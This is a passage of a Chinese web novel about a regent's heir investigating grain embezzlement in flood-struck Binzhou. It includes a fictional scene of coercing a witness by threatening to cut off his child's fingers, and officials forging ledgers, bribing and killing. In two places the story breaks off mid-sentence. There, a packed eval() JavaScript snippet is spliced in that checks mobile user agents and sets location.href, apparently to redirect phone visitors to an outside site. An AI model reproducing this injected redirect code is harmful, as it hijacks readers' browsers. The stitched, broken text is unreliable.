前两天他们叮嘱自己什么来着,谁要来滨州来着? 好像是……大皇子、熙郡王、摄政王世子。 张老五缓缓移开目光,慢慢抬头,在他正对面,有人坐在一把他没见过的云雷纹圈椅上,穿着盘云纹吉祥如意锦缎衣裳,衣襟上还绣着龙,哦,莽,是四个爪。 四爪,皇子制服。 张老五一个激灵,彻底醒了。 张老五再细看,角落里还绑着九个人,他老爹、老娘、老婆、小妾、还有五个孩子。 “醒了?”皇子制服旁边的人问。 张老五这才注意到他,他坐在自己家的长凳上,穿得普通,是寻常富家公子的打扮,但贵气逼人,又很漂亮,叫人不敢小瞧。 “本世子时间有点紧,不想废话,你配合一点,咱们早说完早完事,可以吗?”那人开口。 许是酒喝多了,张老五的嗓子有点发干,他还记得前几天那些人是怎么交代自己的:滨州是粮食大州,但这两年天气不好,收成不多,且粮食多数次品,好的粮食都挑拣出来上缴国库了,隔壁几个州闹饥荒、闹旱灾,滨州支援了大半,库里粮食更不够用,结果今年滨州水灾,滨州本来就有从隔壁几个州逃过来的流民,加上自己州里的百姓也要吃要喝,开仓放粮很快就把粮食用完了。 张老五哑着嗓子说:“可以。” 苏景同笑笑,“在你开口之前,本世子有几句话要提醒你。” “本世子已经拿到滨州粮食诏报及收缴文件,你说得如果和本世子知道的对不上……”苏景同抬手,十队的士兵迅速把张老五的儿子提了出来。 张老五一共七个孩子,六个女儿一个儿子,大女儿二女儿已经出嫁,在家里还剩四个女儿和一个儿子。女儿们的衣服是最便宜的麻衣,且缝缝补补,不知穿了多少年,两个大女儿的衣服明显不合身,胳膊腿都短了一大截,两个小女儿的衣服上补丁快比布料都多。 儿子穿得仔细,是棉衣,寻常人家少有给幼童做新衣裳的,因为幼童长得快,一件衣裳做好,没几个月便穿不了,太浪费,都是挑哥哥姐姐剩下的穿。张老五的儿子的衣服却十分合身,眼见是新作的。脚上穿着千层底的鞋子,脖子里还挂了个小金锁,上面刻着“福”字。 “你今年都五十四了,”苏景同说:“儿子才三岁,瞧这一身打扮,想来你疼他疼得紧。本世子也不难为你,你说一句谎话,本世子剁他一根手指怎么样?” 大皇子震惊地望着苏景同,他才十四岁,怎么能想出这么恶毒的主意?于法,他私下审讯不合流程,于情,对三岁孩童下手,令人发指。 “你有二十句谎话的机会。”苏景同说:“手指脚指加起来一共二十,如果你超了这个数量,就只能剁胳膊剁腿了。手指少一两根还不打紧,无非是读不了书、写不了字……”苏景同环顾四周,张老五家有不少启蒙书,想必是为这个宝贝儿子准备的。 “缺胳膊少腿,本世子可不保证他能活着。”苏景同淡笑。 张老五咽了一口唾沫,“我儿子才三岁,他有什么过错,你对小孩下手,你丧尽天良!” 苏景同嗤笑道:“怎么,你没听过本世子的名号?本世子什么荒唐事没干过?多你一件不多,少你一件不少。杀个小孩而已,谁敢管本世子?”苏景同瞥了眼欲言又止的大皇子。 大皇子咬牙沉默。此计虽然恶毒,但拿捏住了张老五的命根子,问话有效。 “你要是动我儿子,我定告到……” “啧。”苏景同扬起一条眉毛,称赞道:“勇气可嘉。” “你觉得谁敢查本世子?你是在提醒本世子,连你一起宰了么?” 张老五一口气憋在喉咙里,脸色涨红。 儿子没见过这阵仗,吓得直哭。 张老五忍了又忍,“知道了,小人会说实话。” 几天前他们告诉过张老五,来的人里,大皇子是庸人,摄政王世子是纨绔,只有熙郡王六皇子需要特别注意,这人话少但手狠,很可能查到你们身上,但不要担心,粮食诏报及收缴文件他们都已经做好了手脚,账目已平,他们拿不到真数据,放心说。 虽然不知为什么六皇子变成了摄政王世子,但应该抹平数据了。 “但愿你会。”苏景同问:“三年来粮食共收了多少石?” 张老五脑海中响起他们教的回答:郡王兴许会问你,咱们每年收的粮食有多少,我知道你记性好,但现在不是卖弄你记性的时候,糊弄走郡王最要紧,你不要立刻回答,你是个没读过几本书,只会打算盘的粗人,你还很愚笨,你反应很慢,你要思考很久,跟他说,数字太大,记不清,需要看粮食进出账本。 “小人记不清了,”张老五说:“但我有个本子,记录粮食进出的,本子上有多少,就是进出了多少。” 苏景同笑笑,“你不是远近闻名的好记性么?” 张老五心底一惊,按他们给的消息,皇子郡王们今天才到滨州,他怎么会知道自己好记性的,张老五强压着震惊,勉强道:“还、还凑合。但是数容易忘,不看到本子,小人也不敢确定。” 苏景同把他粮食进出的本子丢到他面前,“你说这个?” “……”张老五伸长脖子看了一眼,这是他们新做的进出账,做得很平,他们拍着胸脯保证绝不会查出问题来,张老五心中轻轻松了一口气,“是,就是这个。” “说谎。”苏景同拔出刀来,叫人把他儿子的手摁在桌子上,苏景同用刀在上面比划,“你说是先剁大拇指好,还是小拇指好?” 小孩吓得瑟瑟发抖,拼命挣扎,哭声震天,“爹——爹——” “别——!”张老五失声。 苏景同淡淡道:“喊什么,你又不老实,不给你点颜色看看,你还当本世子给你说笑话呢!” “还是大拇指吧,大拇指好砍些。”苏景同自言自语。 张老五心乱如麻,他不知道他们万般保证过的账本为什么在苏景同眼里是假账,要是换个情景,他能和苏景同掰扯掰扯,狡辩一番,但是儿子在他手里,他怎么敢多说话?! 他们给的消息根本就不准,来找他的不是郡王! 他们明明说郡王虽然严肃,但心慈守法,在没确凿证据给他定罪前,六皇子不会对他们怎么样的,更不会对他家人怎么样,让他放一万个心。 现在来的是摄政王世子!! 这人看着不坏,但说起话来邪气 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“咔——”刀险险与小孩的手擦皮而过,插进桌子里,苏景同面无表情地回头,没再说话,周身冷气萦绕,明摆着没有耐心了,张老五盯着他无喜无悲的瞳孔,头皮发麻,有那么一瞬间,他觉得苏景同并不是真想要数据,而是想折磨人取乐。 他根本不是人,他是披着人皮的恶鬼! 张老五喉头动了动,他知道,苏景同再也不会给他第二次机会了,如果这次还说谎,眼前这尊杀神一定会动手。 张老五闭上眼,“今年是一万零二百九十五石,去年是一万一千一百九十石,前年是……” 一个半时辰后,苏景同、大皇子和赤霄军十队的人离开了张老五家,苏景同袖中还藏着另一本账本——被张老五藏起来的真正的进出账。 大皇子此刻对苏景同的佩服拔高到新的高度,他本以为拷问张老五是件辛苦事,但苏景同三言两语就套出了真话,顺利得一塌糊涂。 大皇子轻轻咳嗽一声,他才是这次行动的总指挥,前有顾朔、后有苏景同,显得他无能且没有权威,是时候展示他的尊严了,大皇子严肃道:“你今天行事冒失了。” 苏景同自顾自往前走,完全没有听他放屁的意思。 大皇子快走两步追了上去,“景同,不是本宫说你,审讯是有严格的流程的,咱们应该提请有司再……” 苏景同倏地停下脚步,大皇子躲闪不及,差点撞上去,“大殿下,请问您尊贵的脑袋里装的是什么?提请有司?他这个级别,按流程只配叫滨州下属县里的师爷审,呈批到滨州府即可,能审出什么来?他敢审出滨州的高官吗?” 大皇子被堵得哑口无言,他当然知道不能提请有司,但他这个身份摆在明面上,总不能说本皇子支持你滥用私刑吧? 该有的姿态还得有啊。 苏景同连珠炮似的发问,“按目前的流程,他至少得审半年,半年,黄花菜都凉了!” “那你也该温和些,拿三岁孩童做威胁,实在不得体。”大皇子埋怨,虽则都是苏景同行事,但他是总负责,难免牵连到他的名声。十队的人跟在他们后面,能听到他们的争吵,听完想必知道谁是君子端方,谁目无法纪。 苏景同嗤笑一声,“大皇子真是宅心仁厚,方才怎么不阻拦,这会儿装什么好人?本世子把恶人做了,你领功绩领好名声,得了这么大便宜就别卖乖了。”苏景同懒洋洋地扬起一条眉:“你没别的话要说了?” 苏景同道:“安静些吧,至少显得人不愚蠢。” 21. 假账 大皇子被噎住。 苏景同没有等他,走出老远。 大皇子忍了又忍,心里那点对苏景同的敬佩都化为乌有,他自诩正统皇家嫡子,何时受过这鸟气,苏景同不就仗着有个狼子野心的爹么,牛气什么? 大皇子追了上去,非要从苏景同的做法中挑出点毛病来,他跟在苏景同身后喋喋不休,“你也太轻狂了,你知道那账本是真是假,你就敢笃定是假的?如果是真的,他拿不出真数据真账本,你怎么下台?真剁了那小孩的手?” 苏景同把假账本甩到大皇子身上,“你仔细看看这账本,能是真的吗?” 大皇子:? 他低下头瞧了半天——什么都没瞧出来,天还没亮,黑灯瞎火的,连进出账封皮的大字都瞧不见,何谈分辨真假。 “本宫又不是账房,”大皇子没好气道:“本宫手下自有人去分辨,本宫看不出真假有何稀奇?” 苏景同拎起账,叫一人提灯靠近,“用了三年的账本,纸张理应发黄对吗?” “对。”大皇子也是读过书的人,最熟悉纸张变化,“这不是黄的么?”大皇子翻过几页纸,纸张中间都是黄色的。 “黄什么黄,”苏景同冷声道:“正常书变黄,是纸张边缘先泛黄,这本账本是从纸张中间开始发黄,大殿下,你知道什么情况下会导致纸从中间发黄吗?” “什么?”大皇子被他说愣住。 “用烛火烤纸,专门做旧。”苏景同双臂抱胸,“现在知道了?” 大皇子汗颜。他不该来找苏景同对峙,现在被人堵得更下不了台,只好悻悻管苏景同要来后面从张老五家找到的真账本对比着看。 大皇子有点后悔和苏景同话赶话了,因为他真正好奇的地方,不在苏景同逼问张老五那段,而是苏景同从张老五家找到真账的过程。 苏景同问完张老五以后,没有急着走,想要定滨州高官的罪,光有张老五的证词不顶用,要实实在在有物证才行,于是盘问张老五真账在哪里。 张老五支支吾吾不说。 大皇子本以为他会继续用张老五的儿子逼问张老五,没想到他只是安排十队的一个人在张老五家里搜,等那人把家里都翻遍了,还没找到账本,苏景同突然指着炕下的柴火让去搜那里,十队搜了没发现,苏景同翻找了柴火,取出了一根柴火——那根柴火挖空了,中间藏着的就是真账。 大皇子实在不知道苏景同是怎么找到这本账的。他觑苏景同,苏景同不想理他,显然是不会告诉他怎么找到的了。 唉。 早知道就忍忍了。 回头怎么跟父皇汇报? 大皇子随手翻了两页真账,真账果然如苏景同所说,纸张边缘泛黄,中间依旧是白色。 这人,真神了。 张老五家中,张老五身上的绳子被解开,他瘫坐在地上,脸色蜡黄,像经历了一场恶战,假如有人靠近他,会发现他身上的酒气是从衣服上来的,本人眼睛清明,毫无醉意。 他在原地缓了许久,才拖着两条打战的双腿从地上爬起来,和苏景同待了半晚,他用尽了这辈子的脑子,张老五扶着桌子起来,站起来才发现腿软的不成样子,别说走路,站着都难。 张老五苦笑一声,又缓了许久,才去给他小儿子解绑。 他耳畔中还在循环那些人告诉他的话: 郡王心思缜密,你又在查案的第一环,必然会来找你,事情紧急,他们不可能提请有司,只会私下审问,他们在滨州没有宅子,来的人又多,又是贵人,在滨州的地界,不会租宅子——好宅子都在滨州高官心中有数,所以最好的审讯地点,就是在你家中。 私下审讯,很可能刑讯逼供。你不要慌张,郡王学得是正派君子风,骨子里守国法讲仁义,吓唬你居多,不会真动手。我们准备了一本“假账”,会让他们得手。 “假账”是完美无缺的。但不符合逻辑。大凡肥差,都有中饱私囊者。清清白白的账,他们是不会相信的。我们还准备了一本“真账”,放在你家里。 你的任务就是把“真账”的数据报给他们听,并且让他们找到“真账”。 冷静,你一定要保持冷静,因为审讯结束,他们为了不打草惊蛇,一定会放过你,让你继续去值守粮仓,甚至还会拉拢你,告诫你,事情早晚败露,为他们效忠还能有一条生路,从轻处罚。但你不要相信,我们的罪一旦被翻开,必死无疑,从轻处罚无非是流放,全家流放,你忍心让你儿子为奴么? 他们并没有实际证据,只是诈你的。等他们拿走“真账”,就会发现的确有人在粮仓动了手脚,但那只是非常常见的小偷小摸,全大周各地都是如此,他们只能把小偷小摸的那几个人带走处置以作交代。滨州没有异常,我们没有涉罪。 记住了吗? 张老五擦掉额头上的冷汗,他的手已经被汗水濡湿,衣襟上的冷汗把衣服湿透,穿堂风吹过,在萧索的夜中升起无尽的寒意。 他应该算是……糊弄成功了吧。 滨州府。 滨州的高官欢聚一堂,迎接远道而来的赈灾团。原本金碧辉煌的滨州府,收起了价值千金的松鹤长青纹鲛油蜡烛,换上市面上常见的红烛;摘掉上用贡品百鸟朝凤梨花锦帷幔;用松油鸡翅木桌代替精雕双龙戏珠千年红木茶桌…… 短短一天,变得朴素而低调。 滨州刺史带着滨州高官在街边迎接,大皇子差人说他和摄政王世子、赤霄军首领会到,于是滨州刺史早早肃清了滨州道路,重兵把守,等待大驾光临。 皇子和世子出行,多有仪仗队跟随,赈灾紧急,兴许不摆大排场,但二三十人开路还是要的。 滨州刺史徐锐低头垂目,以虔诚的姿态迎接。他来之前才用了晚膳——今晚注定是无功而返,作为滨州府刺史,滨州是他的天下,郡王没进滨州,在城外指挥、大皇子和摄政王世子带着十队的人悄悄潜入滨州去找张老五,他们都不会来今晚的接风洗尘宴的。 一切尽在他掌握之中。 除了去找张老五的是摄政王世子苏景同,而不是郡王。 他没和苏景同打过交道,不过十四岁的毛孩子,来刷功绩的,能做什么。 张老五糊弄他,应当容易。 轻骑疾驰而来,不过两匹马,都是急行军用的快马,为首的是一身赤霄军首领服饰的柳首领,错一个身位的是穿仆役衣裳的男人。 徐锐不敢掉以轻心,仆役身上的衣裳华贵,比宫人更甚,说不得是摄政王府的人。 徐锐上前几步迎接,赤霄军首领纵马飞驰而至,一拉缰绳,马稳稳当当停在徐锐面前,徐锐身后的官员凑上来给柳首领牵马,柳首领翻身下马。 徐锐上前紧紧握住柳首领的手,“柳首领来得好啊!咱们滨州的百姓盼星星盼月亮盼着您来呢!” 柳首领沉默一瞬,徐锐那边已经逼出几滴眼泪,柳首领面无表情,但在心里叹为观止:牛哇,眼泪说来就来! 徐锐以袖掩面,“柳首领、您是不知道、下官……”徐锐哽咽,徐锐身后的官员蜂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908534|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥而上,你一言我一语地安慰徐锐,徐锐啜泣片刻,抓着柳首领的手往自己头上放,“您看看,自从滨州水灾,下官茶饭不思,硬生生愁白了头发啊!” 柳首领目光在徐锐头上转了一圈,又在他脸上来回扫,这都小六十的人了,白了头发有什么稀奇。 他身后的弦歌款步而上:“哎哟喂,可不是全白了嘛,徐刺史为百姓真是操碎了心啊,鞠躬尽瘁,鞠躬尽瘁!好官!好官呐!” 嚯! 柳首领强忍着没侧目弦歌,合着牛人他身边还有一位呢! 徐锐的眼泪暂时停下,抬头道:“这位是?” “徐刺史好,奴才名唤弦歌,在摄政王府伺候世子殿下。大殿下和咱们世子进了滨州水土不服,需要修养,来不得接风宴。但滨州府上下热情接待,大殿下和咱们世子看在眼里,很是感动,特地遣派奴才前来告罪,大殿下还吩咐奴才带了一鸣阁的两坛好酒,来给诸位大人助兴。” 弦歌从挂在马上的竹箱中取酒,他抬手时露出一截手臂,从徐锐的视角,刚巧能看到弦歌已经够奢华的仆役服饰下,还藏着一层软云丝里衣。 软云丝号称比黄金还要金贵,一寸软云一寸金。软云丝做成的衣物,轻薄透气,绵软舒适,远远瞧着,仿佛似身上裹了一层缥缈的云雾,因而得名软云丝。软云丝制品,因其特性,往往只作为罩衫来穿。 想来弦歌身位仆役,外袍要符合仆役身份,才忍痛穿在里面。 宰相门前七品官,弦歌再是仆役,那也是摄政王府的仆役,自有一群滨州大小官员赶着上去接酒,行动间,徐锐又看到弦歌小臂上有一串金玉臂钏,看不清样式,但只瞧那阳绿的色泽,便知臂钏价值不菲。 男子几乎不戴臂钏,徐锐心里清楚,只怕是弦歌作为仆役,无法在明显处戴手镯扳指等物,才选择藏起来的臂钏。 弦歌的性格,看来不难推测,好奢靡、好享受,脑子活络会利用权力捞钱捞宝贝。 徐锐脸上的笑意更灿烂了,对弦歌道:“总管,里面请。” 大凡京里的奴才,出门都觉得比旁人高一头,徐锐不管他在摄政王府到底是个什么身份,只称呼总管,果然,弦歌听到“总管”二字,面上更高兴了。 徐锐心中暗笑,面上却更客气,直把弦歌当大人物来对待,弦歌愈发受用。 接风宴老三样,喝酒、歌舞、闲聊。 为了装穷装节俭,酒是老百姓酿的酒,歌舞只有七八人,但总的来说,还是个不错的宴席,毕竟接待上宾,不能太寒碜。 徐锐把柳首领和弦歌请到上座,又是亲自添菜,又是敬酒,把弦歌哄得找不着北。 等弦歌喝酒喝到尽兴,打算去如厕,徐锐冲管家打了个眼色,管家立刻上前搀扶着弦歌,等走出正厅,管家将一叠厚厚的银票塞在了弦歌袖子中,“大人跟随世子奔波而来,一路多辛苦,滨州和京城水土不同,叫大人委屈了。” 弦歌微微抬起袖子,银票便滑到了衣袖内里缝制的囊袋里——这是在仆役中有些体面的管家的老花招了,管家们的袖子可以略宽些,不必紧贴着胳膊,常收黑钱的管家便会在内里缝制一个囊袋,便于收钱。 弦歌动动胳膊,估摸这是三千两。 真是大手笔啊…… 管家满意地看着弦歌的动作,这是老手了,跟老手沟通,才痛快方便呐。 管家笑道:“我家大人一心装着百姓,只是天灾人祸,人力所不及,不知几位贵人……” 弦歌会意道,“管家多虑了。” 22.套中套 “我家世子再和善不过的人,他年纪小,王爷舍不得世子出来,世子孩子心性,闹着要来。王爷特地叮嘱了奴才,定要伺候好世子,教他吃好喝好玩好。” 管家应声:“世子来了滨州,就是回了自己家,奴才们一定尽力尽力伺候。” 弦歌笑着拍拍管家的肩,“大殿下和刺史,算来也是师出同门啊。” 大皇子的外祖父,曾给大皇子讲过学,滨州刺史徐锐又是他门生,硬要厚着脸皮攀关系的话,确实能称一声同门。 管家用手比了个“六”,“那这位呢?” “这位……”弦歌摇摇头,“那可不好说。这位是真来赈灾的。” 管家心领神会,“大人这边请。” 接风宴那头,也到了散场的时候,一侍女提着银壶进来,为滨州刺史添酒。侍女素手执银杯,弯腰恭敬地托举到徐锐面前,徐锐接酒时,听到一句极轻极浅的“东西世子带走了”。 带走了就好。 带走了好啊! 舞乐声大作,琵琶声愈发急促,曲调昂扬,奏响大开大合的篇章,徐锐在这乐声中举起酒杯,“柳首领,下官再敬您一杯,滨州的百姓,就拜托您了。” “滨州百姓离不了徐大人呐,”柳首领一本一眼地把苏景同的话传达给徐锐,“世子有言:圣上心系滨州水灾,欲御驾前来,然兹事体大,又因滨州刺史勤勉谦恭,简在帝心,特遣派我们来此代圣上赈灾,请滨州刺史务必以民为本,以慰君心。” 徐锐意会,接旨。这话好理解,苏景同的话是想说:我们只管赈灾刷功绩,不管别的乱七八糟,你配合我们好好把银钱粮食发放了,回头跟皇帝和摄政王有个交代就成,我们也不找你的事,咱们你好我好大家好。 柳首领又道:“世子还说,本世子和大殿下水土不服,问滨州刺史可知治病之法?” 徐锐面色不变,“下官知道个大夫,擅长治水土不服,稍后让他随首领回去吧。” 顾朔等人在城外扎了帐篷,他在帐篷里看赤霄军送来的诏报,滨州的情况不容乐观。 决堤口不错,起码封堵住了,短期也没有开裂的风险,但城内情况不好,不少小溪流经此水灾水位大涨,有可能泛滥,城中不少路被淹没,排水困难,百姓修建的房屋多是土屋,长期浸泡在水中,有垮塌的可能,灾民数量粗粗统计是…… 顾朔飞速将数字在心中过了一遍,计算当前带来的粮食能撑多久。帐篷外吵嚷起来,是大皇子和苏景同回来了。 顾朔没抬眉毛,灾民的数量超过预期,眼下的粮食不够用,他继续计算调整放粮方案。 没一会儿,帐篷外又有了动静,是柳首领和弦歌带着一个人回来了,听马的脚步声,他们带着的那人带着很沉的东西。 顾朔计算完毕,撩开帐篷帘子,只见一个大夫打扮的人,带着医药箱进了大皇子的帐篷。 顾朔皱起眉,医药箱怎么会那么沉,倒像是里面装了金子。 不一会儿,大夫出来,进了苏景同的帐篷,等再出来时,医药箱轻到他脚步都轻快了。 顾朔等人走后,抬脚进了苏景同的帐篷。 苏景同正盘腿坐在帐篷里,他面前的桌子上放着一个精致的天青仙鹤独立漆器匣子,“坐。” 顾朔翻开匣子第一层,里面装着三颗药。 第二层装着三包药。 第三层是滨州的花样点心。 第四层是一盅解暑的汤。 只有这四层,不应当沉重。 顾朔把东西拿出来,对着匣子敲敲打打,听到一处动静不同,略一观察,瞧见一处不明显的机括,扳动机括,漆器应声分裂,六个面砸在桌上。每面上都严丝合缝地贴着一层金砖。 “你干了什么?”顾朔问。 苏景同没回答,他把金砖拿下来,又把漆器盒子的六个面来回转了两圈,但没别的动作。 苏景同的帘子又一次被掀开,赤霄军十队的人进来汇报:“世子,那人去了滨州税课大使家中,后税课大使去了滨州刺史徐锐的宅子中,见到了一个侍女,侍女听完他说话后,提着酒壶去给了滨州刺史徐锐。” “知道了,下去吧。” 苏景同这才道:“我去了看守滨州粮仓的张老五家中,从他那儿逼问到滨州近三年的粮食进出情况,并且在他家柴火的机括中,找到了滨州粮食进出账目。”苏景同把账目拿给顾朔。 顾朔大略翻了几页,“看起来问题不大,手段也简单,只有少量粮食被中饱私囊,若要追责,最多只能追到粮仓大使头上。” “我命人在张老五家翻找真实账目时,一直盯着他的神情,当士兵找到他家灶台时,他明显紧张了,所以我让人仔细翻了灶台和柴火,他们没找到,等我去翻柴火时,我发现他眼神中除了有紧张,还有一点期待和焦虑……” 期待。 焦虑。 这本“真账”虽然只能追责到粮仓大使头上,但看守粮仓的张老五作为直接看官人,责无旁贷,追责张老五是板上钉钉的,轻则打几十大板没收贪墨粮食,重则流放。他在期待什么? “等我从柴火中拿到这本账,他的眼神中竟然没有焦虑了。”苏景同道,“我拿回了一样他们期待我拿到的账本。” “我走后,叫人盯住了他和他周围的动向。他邻居家中有个脚步很轻练过功夫的人,观察了我们许久,辗转给滨州刺史徐锐带了一句话。不知他们说了什么,大概是粮食进出账已经被我拿走了吧。” “至于这金子……”苏景同笑笑:“这是我叫弦歌和柳首领带话,表示我们三个中,只有你是来赈灾的,我和大殿下只管要功绩,不想多事,希望他们配合我们把功绩刷好。”苏景同扒拉金砖,“我们在滨州外见到了灾民,滨州情况比我想象的还要糟糕,想让我俩美言,需要一点诚意。” “以上,就是金砖的来由。” 苏景同扒拉金砖,“至于为什么封口费只有这么点金砖,”苏景同耸肩,“因为他知道我们拿走了‘真账’,‘真账’里只有小偷小摸,且责任追不到他身上,他只是意思意思,如果给太多,反而会让我们起疑心。” 顾朔问:“那真正的账本在哪里?” “税课大使、粮仓大使、滨州刺史,可能在他们三个手中,也可能已经烧了。”苏景同说:“我安排十队的人把盯着张老五的人涉及到的几个官员的府邸,都去摸排一遍,运气好的话,也许能有结果。运气不好的话……” 苏景同扬起“真账”和滨州刺史送的金砖,“造假的账本和行贿的金砖,足够立案标准。我们可以把人先行扣下,接管滨州,叫刑部派人过来慢慢查。” “接管滨州……”顾朔莞尔:“有军队在手,说话真硬气。你这样做,往后没人敢给你和大皇子送东西了。” “我什么好东西没见过,要他们的东西做什么。”苏景同弯起唇角:“大殿下廉洁奉公,也是应当应分的。他该感谢我给他个廉洁名声。” 滨州刺史徐锐的府邸,结束宴会后,又恢复了往日的平静。 徐锐送走了赴宴的宾客,又迎来了两位客人。 两位老客人摘下兜帽,露出税课大使和粮仓大使的脸。 税课大使道:“成了?” “嗯。”粮仓大使兴致不高,“真账”送到了世子太子手中,税课大使和滨州刺史能摆脱干系,他这个粮仓大使难免要担个“御下不严”的责任。 “放心,”徐锐瞥粮仓大使,“大皇子和摄政王世子那儿,我打点好了。他俩通情达理好沟通,态度明确,给钱就不追究。” 税课大使放下心来,他知道徐锐是大皇子外祖父的门生,有这层关系在,应当好沟通。 粮仓大使事关自己,难免多操几分心,大皇子要钱不奇怪,徐锐算起来是他外祖父的人,将来效忠也是效忠大皇子,“摄政王世子也同意要钱?” 徐锐抿了口茶,“是他叫人带话要钱的。” 粮仓大使想起摄政王的雁过拔毛风格,摄政王十几年来积攒的财富,比整个皇室都多,摄政王世子开口要钱,看来是“言传身教”。 “他信那是真账了?”粮仓大使多问了一句。 “嗯,”税课大使回答:“我的人跟了他们小半截路,世子和大皇子在路上争吵,世子发现了假账的纸张有问题,对比了‘真账’,纸张没问题。”税课大使笑起来,“这可是他们自己发现的假账的漏洞,人就是这么愚蠢的生物,只要自己发现了错误,自己推导了错误,见到没有犯错的,就会坚持那是真的。” “那就好。”粮仓大使道:“如果他们收了钱,还要追查,大人可一定要帮我。” 滨州刺史道:“放心,‘御下不严’,轻则申斥,这没什么影响,重则降级,我会跟典史交代,只按申斥走。” “那就拜托大人了!”粮仓大使道。 “事情进展得好顺利,我有些不安。”粮仓大使心里还是有些不踏实,总感觉有什么事情被他们遗漏了。 “放宽心,”税课大使安慰,“他们三个,也就六皇子是真来办事的,他忙着赈灾顾不上这头,查粮仓是摄政王世子和大皇子在做。大皇子那头好办,至于摄政王世子,”税课大使笑:“一个十四岁的毛孩子,你指望他有什么本事和经验?能找到咱们精心准备的‘真账’,就是极限了。迫不及待要钱,这才是他们家的家教。” 滨州刺史盯着他们两个,“真正的账本都烧了吧?” 税课大使和粮仓大使异口同声:“烧了。” 税课大使接话:“咱们三个亲自看着烧了的,这东西心里有数就行了。” 粮仓大使道:“是,太危险了,一旦被查到,可不是‘御下不严’的事。” 滨州刺史多看了粮仓大使一眼,意味深长道:“大家都是一条绳上的蚂蚱,彼此同心同德才好。” “自然。”又是异口同声。 这一夜注定是不安稳的夜。 一条消息在灾民中疯狂传播:粮仓中的粮食被粮仓大使吞了。 饥饿又愤怒的灾民们包围了粮仓大使的家,闯了进去,果然在他家找到了满满一屋子粮食,哄抢而上。没抢到的灾民四处搜其他粮食或者金银财宝。 天光微熹,滨州的巡逻官兵才发现此事,等他们赶到粮仓大使的宅院,府邸几乎被搬空了,灾民除了抢走金银财宝和粮食,还把屋里所有东西都瓜分了,只剩粮仓大使全家和仆役的尸体歪倒在院中,身上布满踩踏的痕迹,大约是想出来阻止,被饿急眼的灾民一拥而上,踩踏而过。 “死了!”税课大使第一时间赶到滨州刺史家中,面色惶惶,“居然死了!说是流民踩死的,你信吗大人?怎会如此,是赤霄军的人?” “赤霄军的人好端端为什么要杀他?还杀了全家。那条流言是赤霄军传的吗?他们想干什么?我们的账都送到他们手上了,他们还有什么要追查的?” 徐锐面无表情地喝茶。 “大人,”税课大使发泄了半天焦虑,突然发现徐锐稳如泰山,税课大使愣住,“大人为什么不着急?” “坐。”徐锐道。 税课大使不明所以,坐下。 “慌什么。”徐锐斥责,“四五十的人,毛毛躁躁。” 税课大使臊眉耷眼,“怎么能不急,他都死了,下一个难保不是我们。” “他该死。”徐锐说。 税课大使的心提起来,“大人,你什么意思?昨晚是大人亲口说的,我们是一根绳上的蚂蚱,要同心同德。他死了,马上就是我们,你怎么能说他死得好呢?”税课大使絮絮叨叨说了一堆,突然脑子回笼,等等,徐锐这话是暗示什么? 什么叫该死? 他不可置信:“你杀的?!” “他要背叛我们,”徐锐道:“我不杀他,留着让他背叛我们吗?” “背叛?!” “他手里还有一份账本,没烧掉。等着哪天他出事了,咬咱们下水,或者卖咱俩表功,减轻罪责。说什么同心同德,他自有他的算计。”徐锐斥责税课大使:“你心也太大了,你真以为苏景同好对付?” “什么意思?”税课大使脑子不够用了。 “摄政王敢把他唯一的宝贝儿子放滨州这流民遍地的地方,还只带一个仆役弦歌,你以为他是来干什么的?吃喝玩乐等着刷功绩?” “不、不是吗?”税课大使说:“不是都说郡王是来干活的,大皇子和摄政王世子是……” “弦歌这名起得不错,”徐锐笑:“闻弦歌而知雅意。” “毛头小子就是毛头小子,”徐锐脸上的笑意收敛,“跟我玩这套,还嫩点。” “苏景同压根儿没信从张老五那儿搜出来的账是真账,你派人盯着张老五的时候,他的人也在盯着你的人,他想知道张老五背后是谁。你又愚钝,人生生去了你家里,又带话给了我,”徐锐道:“不早点送一个替死鬼出去,等着他查到你我身上?那个蠢货居然还留了一份真账不肯烧,一旦被赤霄军找到,我又安心等着没行动,咱俩现在已经在大狱了。” “大人怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913817|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么发现他的人在盯着我们?” 提起这件事,徐锐脸上不免有几分得色,他后来细细盘问了当时的情景,大皇子和苏景同在小巷子里发生争吵,言辞间很相信从张老五家搜出来的账是真的,一般人听到后,都会觉得苏景同是信了拿到真账,可自己比他们聪明! 苏景同做得太刻意了,他和大皇子都是天潢贵胄,仪态风度是从小练到大的,哪有当着赤霄军的面就吵架的。 太刻意了。 除非他是要做给什么人看的。 等着税课大使的,自然就是圈套了。 不过这些事,就没必要告诉税课大使了,他的脑子还是愚钝点好。 “那现在?” 徐锐喝了一口茶,今年的茶叶味道不错,清新鲜嫩,“那蠢货昨晚回家后把他偷偷存下的账本找了出来,打算烧掉。赤霄军的人还指望着在他家能找到真账呢,炉子一起,谁都知道要烧东西,我的人赶在赤霄军之前,把账本换了。流民来得还算及时,赤霄军没功夫细看账本,把我新作的假账本拿回去了。” 税课大使提起心:“那账本怎么写的?” 徐锐端着茶杯,唇角微微勾起,“等苏景同研究完账本,会发现滨州粮仓确实有问题,本应该还有几千石粮食,但被粮仓大使倒卖了。粮仓大使得来的钱,都在他家藏着,而他全家被愤怒的流民杀死,倒卖粮食的钱都被流民哄抢而走。” 徐锐喝完最后一口茶:“至此,案件彻底结束。” 